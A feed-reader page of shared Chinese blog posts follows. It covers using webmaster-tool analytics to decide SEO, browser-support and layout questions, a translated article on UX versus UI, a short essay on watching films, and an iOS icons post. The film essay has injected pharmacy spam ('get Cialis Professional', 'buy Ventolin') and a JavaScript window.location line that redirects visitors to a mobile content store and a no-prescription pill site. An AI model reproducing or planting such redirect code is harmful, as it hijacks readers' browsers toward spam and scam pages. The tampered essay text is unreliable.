Shared posts

06 Dec 14:07

如何低调有内涵地利用站长工具做决策

by 商业-温总
Lichenyang88

data for design

本文将展示通过网站分析以及站长工具中的数据来辅助解决一些我们工作中常见的问题,比如:

  • 如何衡量SEO效果?
  • 何时舍弃IE*?
  • 怎么定banner的高度?
  • 响应式的breakpoint有哪些?
  • 何时优化google?
  • 改版是否成功?
  • 广告的尺寸是多少?

如何衡量SEO效果?

SEO是漫长地对搜索引擎算法进行猜测和印证。如何肯定单一的自然排名的价值?单从各种核心关键词排名的纬度,我们很难保持长期的激情和好的成绩。单一的去看来自搜索引擎的数据又有一些过于单薄,现有的统计分析工具难以剥离竞价排名的流量。

看下面几组数据(来自百度站长工具,为保密X为系数,周期周一至周日):
9月28日~10月4日 点击量126.66X:展现量1667.38X=7.596%
10月5日~10月11日 153.53X:1854.80X=8.277%
10月12日~10月18日 191.90X:2336.84X=8.212%
10月19日~10月25日 194.97X:2430.99X=8.020%

从数据上看,站点在百度搜索结果里面的表现是逐步变好的,无论是点击量还是展现量都是增加的,但是这并不能掉以轻心,因为点击量:展现量(比值)是已经开始慢慢下降了。况且9.18~10.4的时候是包括了十一假期。但回过头看我们最开始系统进行优化一周后(6月下旬)的成绩,还是有很长足的进步。

32.89X:1625.19X=2.024%

也许说长足进步也是早了一些,时隔5个月,也很有可能是因为网友对“云”相关的需求量和求知欲的增加,从而导致整体大盘数据上涨。通俗的讲就是社会上关注云产品的人开始变多了。如何清晰的从数据中认识到网站运营或者优化的情况才是我们重点关注的,至于拿漂亮的数据给到各方去看的事情并不是重点,因为这种数据随时可以拿出来。

所以我会抽取30个左右重点关键词(不是长尾关键词,因为长期统计来看,重点关键词和长尾关键词的占比基本稳定,而且我们目前也是着重优化重点关键词)

如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策

截图三个排名前十的关键词,可以看到整个社会对次的关注并未大幅提升。这时,我们可以说,SEO对于在整体搜素结果展示的层面上确实产生了价值。

何时舍弃IE*?

做web,有一个数据特别需要关注,就是客户端信息。你如何定义你的产品兼容怎么样的浏览器,光靠所谓技术理想,或者仅仅从由于不支持某个API所以就不支持也是站不住脚的。从目前的数据看,明年年中可以放弃支持IE8(我们早在去年就不支持IE6、7)。

如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策

好了,现在有一个问题,只参考这个数据是否靠谱?显然是不靠谱的,要知道IE9不能在WindowsXP上安装。

如何低调有内涵地利用站长工具做决策

所以我们必须要关注windowsXp的用户的数量,这样才能帮助我们决策到时候是不放弃支持IE8。

如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策

从这个地方看,至少还要等到明年年底。

怎么定banner的高度?

视觉设计师是否应该清晰的知道banner应该是多大,一个网页的最大宽度和最小宽度到底是多少?是否应该了解80%用户屏幕的高度大约是在多少像素以内?

如何低调有内涵地利用站长工具做决策

把各种分辨率下用户可能看到的区域标记一下,可能跟我们的想象很远。我一直不太理解,设计师是通过什么样的方式确保用大屏幕的mac去设计给绝大多数为windows系统的没有那么大屏幕的用户去“恰当”的展示。越来越多的网站采用100%通栏和大字、大图,也有很多人去去效仿,但是又有多少人去用14寸windows笔记本、19寸宽屏显示器去真正的看过效果。在那么小的屏幕内,那么大的东西其实是不合适的。这里并不是针对设计师,只是举个例子说明关注数据的主要性。我有想起一个事情,可能有很多人在设计网页的时候,把宽度定为1190,原因是淘宝的首页是这么宽。某种层次上说淘宝可以作为数据统计结论的一个快速的结果查询,但是(1190+10)/24也许才是真正的方法。

以上都是单一的对于自己网站的数据判断,还不足以对外部的环境有一个很好的判断,再去看下百度这个大盘子里的数据.

如何低调有内涵地利用站长工具做决策

很难相信一个不经过推敲的像素和颜色以及排版的可靠性、扩展性。在PS里把调色板打开,然后把习惯移动到某个自己感觉良好的地方,点击… 好像说的有点远。

如何低调有内涵地利用站长工具做决策

不得不说,这可能是我们相关的同学第一次看到这个数据…

响应式的breakpoint有哪些?

现在越来越多的人关注响应式,那么响应式的时候breakpoint都有哪些?为什么是这几个?答案一般是bootstrap中的那几个。那为什么bootstrap中是那几个呢?你在做移动端的时候你要求设计师给你的设计稿宽度是多少?640px。假如明年,你们的iPhone6的用户增多了,对这个尺寸是否有影响?

背后期望的都是对于用户的基础数据的关注和回答。你期望兼容什么设备,这些设备的device-width就可以作为breakpoint,但为什么要兼容这些设备一定是要看数据才知道的,人家的用户特征不一定是自己的。之前一定移动端兼容的目标,光看自己的数据一定也不够,必须要看微信那边的,因为现在极大多数的web是在朋友圈里面展示的,那微信用户的特征就是必须关注的(下图是半年前的数据)。

如何低调有内涵地利用站长工具做决策

还是关注数据,出了一款新的手机,比如iPhone6S,我真的需要在里面测试么(假设不测试safari新支持的特性)?答案应该是当然不用,因为device-width完全相同。“节省每一个铜板”虽然搜狐去年年底到年初裁员了2000人可能是遵循这个个价值观,但其实这是一个很好的价值观。

如何低调有内涵地利用站长工具做决策

不一定每一个决策都完全寄予数据,但是数据是一个帮助我们决策的好方法。

何时优化google?

在进行系统的搜索引擎优化之初,我们几乎是完全不考虑google效果的呈现,一些google本身一些推荐的富展示结果以及微数据几乎完全没有强制推行,因为他的数据太小了,我们会把精力放在百度上。

如何低调有内涵地利用站长工具做决策

但是,最近两个月,我们注意到应该马上开始在google上花上一番功夫,因为每一周google都蚕食是百度的1%左右的数据(最近已经有2%的趋势了)。

如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策

按照这个速度,年底google的份额会超过20%。我们会再次评估这一个自然年中,百度付费所带来的价值,核心关键词的单次价格。如果想停止百度竞价,还有要有google、百度自然排名这些用户变现的数据加以分析,不过这些纬度我们还没有。

但是对于google的优化是一定要开始进行的了,我们的增加的使用谷歌的用户一定绝大部分也在搜素着“aws”“阿里云”这些,希望在对手没有重视之前,我们自己重视起来。

另外bing已经连续两周超越了搜狗。加之google回到中国的消息基本坐实,对于SEO的工作内容可能要发生一些更有针对性的变化。话说facebook到中国的消息传说以及基本坐实,那么在SNS中的传播方式也将会是中国的网络营销从业者的一个挑战。

对于上面谷歌份额的增加,百度的降低还有另外一种解释,就是来自百度的数据减少了,这一定是我们不愿意看到的,基于最开始说的我们的曝光量和点击量是增加的,所以基本可以否定这种说法。再看看PV UV,以求心里安心。

结果是从10月开始百度确实开始波动有每周减少一点的趋势,谷歌每周增加一点(X为系数)。

10-19~10-25 百度 3.52X 2.02X 谷歌 0.46X 0.20X
10-26~11-01 百度 3.37X 1.85X 谷歌 0.52X 0.21X

集合前面点击量增加,初步分析,是搜索引擎用户在进到站点内他的站内点击减少了。所以我们可以推卸责任说,我把流量给你引来了,你自己没有把握住…(这样做的人必将失去同事,千万别学,只是玩笑)。但经验表明极有可能是用户的专业度提升以及站点的信息架构更加清晰导致用户很快的获取到了信息,或者是发生购买,变现。特别是随着站点某些重要页面的改版这也是正常的时期,就算这些都没有,也要观看一下4周以上的数据,是否在一个上下波动的范围,还是单一的下降。

改版是否成功?

跟大神stonehuang还有曾经很多人做信息无障碍,特别是curlsli,我们都是偷偷的进行,也许养成了这个习惯。我们“偷偷”的花了很小的代价改善了站点下一个板块的样式。在产生“偷偷”的想法之后,得到了产品、设计和前端的支持,所以也算是领导们知晓了。对于“偷偷”产生的价值,由于该板块并没有其他任何的资源投入,所以从跳出率上,我们可以看到偷偷的是否有价值。虽然感官上大家都发现了提升,但是如果有一些数据可以印证的话,似乎更完美了。

如何低调有内涵地利用站长工具做决策

平稳了许多。欣慰一些。

即将进行的首页改版加入这个离开页面的纬度也可以更好的从数据上帮助项目、产品、设计师肯定大家的工作。

广告的尺寸是多少?

其实网页上的广告尺寸也是有很多数据可以帮助决策的。比如谷歌和IAB的规范。

如何低调有内涵地利用站长工具做决策
如何低调有内涵地利用站长工具做决策

(完)

25 Dec 01:24

不是UX vs UI,而是UX&UI

by 13tech

ux&ui-09

大家都知道UI是什么意思,可能也有人听说过UX,但他们的本质的东西和区别可能大部分人不知道。简单来说,UI(用户效果)就是体现在屏幕上的效果和UX(用户体验)就是用户感觉到的效果。举个栗子说明,表单中的按钮呈现在人们眼前就是一个UI,当用户点击了按钮产生了3D效果的时候就是UX。跟着下面的文章一起来了解吧!

如何通过区分两者来完善两者。

UXPin(线框图及原型制作应用) 的 Chris Bank将在本篇文章中对UI和UX进行比较,并说明为什么有时我们的UI会很失败,以及UI是如何塑造UX的 另请见《Web UI最佳实践》了解多达33家公司产品的范例分析。 Web端的用户体验(UX)是指人们在使用网站时所获得的抽象感觉。用户界面(UI)则是指人们的交互对象,是用户体验的一个组成部分。 在设计网站时,应该尽量保证UX正面积极,让用户享受你的网站,这是问题的关键。但是,就像一家公司不能“想赚钱就赚钱”一样,网站的UX也不是说改进就能改进的。要获得优秀的UX,就要采用一定的战略,也就是通过UI对其进行提升(或弱化)。

ux&ui-01

对于网站来说,公司设计团队完善UI的目的通常是为了提高UX。菜单项、按钮、文字、图像、视频以及其各自在页面上的位置构成了界面,所有这些要素都应当仔细规划。而这些就是UX的组成元素,它们的使用方式直接影响着用户的感觉。 我们首先通过几个示例来概览一下UI,说明有哪些策略可以帮助你了解为什么优秀的UX取决于UI的优劣,然后再详细讲解一下为什么塑造UI要比塑造UX容易(虽容易,但不一定就能做对)。

 

一、Web端UI的是与非

在web端,比方说设计师想添加拖拽文件作为整理内容的方式。这就属于UI的范畴。又比方说用户觉得这个网站没有另一家竞争对手的网站做得好,因为在另一家网站上用户能够轻松简单地听几个小时的音乐。这就属于UX的范畴。 如Web端UI最佳实践2014中所述,Web端UI是指构成网页的各个要素的设计、呈现和执行。诚然,上述囊括了设计师能够放到网站上的几乎所有内容,因此必然变幻多样,但幸运的是,我们可以借用Usability gov(一家领先的UX最佳实践与指南资源网站,其将上述内容以方便好用的方式进行了归纳分类):

  • 输入 — 文本框表单、日期框表单、下拉列表、勾选框、列表框、可点击按钮、拨动按钮
  • 导航 — 滑块、搜索框表单、页码标记、侧边栏、标签、图标
  • 分享 — 好友列表、关注按钮、赞/推荐、分享按钮、邀请好友
  • 信息 —文字内容、工具提示、信息框、通知、图标、进度条、模拟窗口

例如:《OS X Yosemite 力求打造优秀UI》。尽管Yosemite是一款操作系统(而不是网站),但在UI背后的原理同样适用于web环境。其在可点击按钮(输入)上所实现的视觉效果让操作系统的使用更加令人愉悦,其充满活力的侧边栏(导航)能够让用户看到窗口后方的内容,明快的通知中心(信息)能够在不影响桌面空间的情况下提供用户所需信息。

最重要的是,正如Apple在其UI指南中所述,这些元素有助于描绘“自定义功能及独特用户体验”这一更为宽广的图景。Yosemite UI的终极目标是让呈现出来的操作系统达到能让用户自由定制,而又不会太过复杂让用户不知所措的状态。

 

二、观察实际操作下的UI

UI和UX是两个不同但又彼此相连的概念。 如Web端UI设计模式2014中所述,Google Play充分运用了UI拖放技巧(其称为“模式”)。

在其网站上,用户可以将歌曲拖放到播放列表中,然后通过拖放调整播放顺序。观其效果,用户只要告诉应用自己喜欢的歌曲有哪些,然后就可以尽情享受音乐,不再进行过多操作,这就大大改善了整体UX。这样一来,其UI的选择(拖放)实现了便捷和个性化,从而改善了UX。

ux&ui-02

下面我们来看一个相对不那么直接的示例。比方说,很多用户因为不喜欢先登录才能使用某些功能而彻底抛弃了你的网站。那么这就是个显然的UX问题,因为你的体验效果是促成用户离开。不过你也许能够从UI中寻找问题的根源。有可能你现在的登陆过程需要用户填写过多的表单内容。如果是这样,你可以采取即时使用(“免注册”)UI模式作为解决方案。这样一来用户就能在不注册的情况下直接使用网站大部分内容。在自由浏览了一定时间后,用户可能就会决定注册账户,特别是如果网站有仅限会员使用的有门槛功能。 AirBnB就采取了这种方法吸引新客户。非会员用户可以和会员一样自由浏览网站上的所有帖子,这样他们就能看到AirBnB上有很多有意思的内容。但是,在他们需要预留房间时,就需要先注册才能预订。

ux&ui-03

 

如果说UI部分造就了UX,那么造就UI的就是草图绘制、线框图绘制和设定模型等设计流程。线框图和模型就像是设计师在开始正式网站设计之前所使用的轮廓或蓝图。它们既可以是在餐巾纸上随手画的草图,也可以是使用UXPin或Balsamiq等工具打造的数字线框图。

这一阶段堪称是最为重要的一个阶段,在这一阶段,设计师需要从理论角度思考什么样的UI能够创造出自己所渴望的UX。就像盖房一样,要先有明确详细的蓝图才能开工动土。 有关UI线框图绘制的详细介绍,请阅读《线框图绘制指南》。

 

三、为什么说我们构建的是UI而不是UX

Rivet Games的首席UI/UX设计师Shawn Borsky时常提醒我们UX不仅仅是UI的最终结果。

他表示,UX是“品牌的核心”,而品牌自身只是“一个人对一家公司或机构长期感受的累积。”

这就说明,良好的UX不仅仅是UI的追求目标,更是整个公司机构全部互动活动的目标。 网站上呈现出来的每条细节都能为用户体验作出贡献,同时也参与形成了用户使用网站时所形成的记忆和印象——但是,网站的设计师无法做到直接控制用户的体验。正如下图所示,UI是实实在在看得见的东西(就好像勺子),因此很容易让人局限住自己的视野,忘记如何打造整体的体验(就像享用早餐)。

ux&ui-04

与此类似,当你在准备一顿大餐时,肯定想花尽心思,对吧?你一定会亲手挑选最棒的食材、找出最好的烹饪方法并仔细遵循,你甚至还会在饭桌上放上漂亮的装饰营造美妙的气氛。而构建网站也是这个道理。你需要合理对所有内容进行规划,给访客留下美好的印象。不过,尽管你可以花上几个小时甚至几天的时间计划准备这顿大餐,但这只是所谓完美用餐体验终极目标的一个组成部分。这也就是为什么我们说要先牢记UX,花在打造UI细节上的时间才有意义。 如果你在UI上耗尽心思,其成效一定会体现到UX当中。如果UI简简单单、随随便便,或者你忽略了其中某个重要部分,那么很可能最后遭殃的是整体UX。在忽略这方面有个很好的例子,那就是iPhone的Shift键(虽然这篇文章是针对网站的,但因UI毁掉UX的情况在移动设备上也不可避免):

ux&ui-05

这两幅图片中,哪个Shift键是激活的?有的背景按键一直是灰色显示,有的一直是白色,但Shift依是否激活有灰色和白色两种状态。尽管说这不影响功能的使用,但其UI设计很差劲。而其结果呢?用户(比如身处UXPin的我们)往往不得不删掉输错的内容重新输入,这种情况非常恼人,从而也就无从谈起优秀的UX了。 (真的,你能看出来两幅图片中哪个Shift是开启的吗?编者已经用iPhone有六年时间了,现在还是经常搞混。) 如《Web UI最佳实践》中的一个反例所示,目前最臭的UI设计之一同时也比较常见,甚至LivingSocial等知名网站也未能逃脱。

ux&ui-06

这是用户首次登陆网站时显示的窗口。其问题在于,你完全没法退出。这也就意味着当有人随意或因为好奇浏览到这里时,就不得不输入自己的Email,而输入完成后就会毫不犹豫的离开这个网站。也有可能这个UI上的缺陷是有意为之,以便迫使用户输入Email,但是,把自己网站的UX做的像个拦路的土匪一样真的好吗? 我们要注意到,这个UI功能正常并且没有什么不妥之处——配色妥当、按钮也很利索——但问题是UX糟糕。

这个例子充分说明了就算优秀的UI一样可能带来差劲的UX。UXPin的CEO Marcin Treder认为,差劲的UX只有在其目的明确特殊的前提下才能勉强让人接受。“有的时候我们会看到又长又繁复的web表单,而且所有标签全部左对齐,阅读体验非常之差,”Treder说道。“但另一方面,其能够防止人们机械性地快速填写表单,从而提高资料的质量。” 我们在这里谈及不佳UI设计的原因,是因为其相比规划合理的UI设计更加让人印象深刻(也更有意思)。因为,一个UI越是优秀,你就越不会注意到它。就好像好电影能够让你忘记身处戏院一样,一个上佳的UI能够让用户全身心投入体验而忽视UI自身。也就是说,如果UI引起了人的注意,那就达不到最佳UX的水平。

 

四、UI如何塑造UX

理论说得多了,下面我们来看看如何通过选择UI直接影响UX。

ux&ui-07

下面这些例子只是对UI选取影响UX的一个宽泛概览。在《Web UI设计模式2014》中,另有63个类似技巧的问题/解决方案详解待你阅读。 尽管说UI塑造了UX,但你还是要先决定自己要达到何种UX,然后再通过恰当的UI来实现。同样,如果你的UX有问题,最后先找出并深入分析问题再思考如何通过修改UI来解决问题。
 

五、有关学习UX的UX

理解UX和UI之间的区别只是个开始——构建优秀网站的关键在于熟知这两个概念之间的种种关系纠葛。尽管很多web端的设计方面各自区别而独立,但UX和UI却是紧密相联。

ux&ui-08

如上图所示,打造有效的用户体验需要的远远不止漂亮的视觉。视觉和声音设计仅仅是UX所含的UI要素中的一小部分。尽管你无法控制网站的UX,但UI是你可一手掌握的——所以,一定要有一个整体的UX目标,并依此设计UI。 在《Web UI最佳实践》中介绍了AirBnB、Wufoo、Linkedin等顶尖公司的案例,并以案例为基础提供了实用的建议,静待你的阅览。

 

文章编译及顶部图片来源:http://www.xueui.cn/experience/ux-and-ui-are-not-opposite-but-symbiosis.html
译者:蒋灿
原文链接:http://designmodo.com/ux-ui/

 

 

 

 

 (153)

0 0
15 Sep 09:00

看电影.

by 风华

喜欢看电影。在年轻的时候,最爱的电影都是有名的闷片,长镜头,摇镜头。看起来与传统有异的电影语言。后来,看电影有时是因为无聊,有时是因为无助,而有时,仅仅为了打发生活中一个人无法排遣的寂寞。极少数时候,是性寂寞。因此,我看了大量的烂片。尼古拉斯·凯奇,史蒂芬·席格,这些有名的烂片王帮我度过了许多个难眠的夜晚。

get Cialis Professional

我曾经试图写过两个影评。在写作过程中,我发现所谓影评是一种最无用的文字。电影就摆在那里,好和坏也都清楚明显。电影是一种如此直观的视觉艺术,所有看过该电影的人都会对此做出基本准确的判断。还要你去写什么呢?说好是重复,说坏是无聊。为了凑字数,或为了表示自己对于电影的内行,还要搜肠刮肚找出另外几部电影来佐证。还有比这更无效的写作吗?

buy Ventolin

诚然,好的电影会在许多方面给我们以有益的启示和审美的愉悦,这种欢娱是电影对我们的最好的奖赏。当然可资回味,但如果把它们形诸文字则使这种快感发生了变化,它不能不让人感觉到你在装腔作势,你在卖弄自己其实是非常有限的对于电影的理解。

我们当然可以援引电影给予我们的警示,使我们对于人生和世界的理解更接近真实和准确。但这已经贯串于我们生活之中,抑或出现我们对生命与存在的省思之时。在另外的时刻,大概只能是朋友间的谈资而已。

window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2″; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”;

01 Jul 01:42

iOS Icons

by Dale Humphries
iOS Icons

A few icons to show how I'd love iOS to look.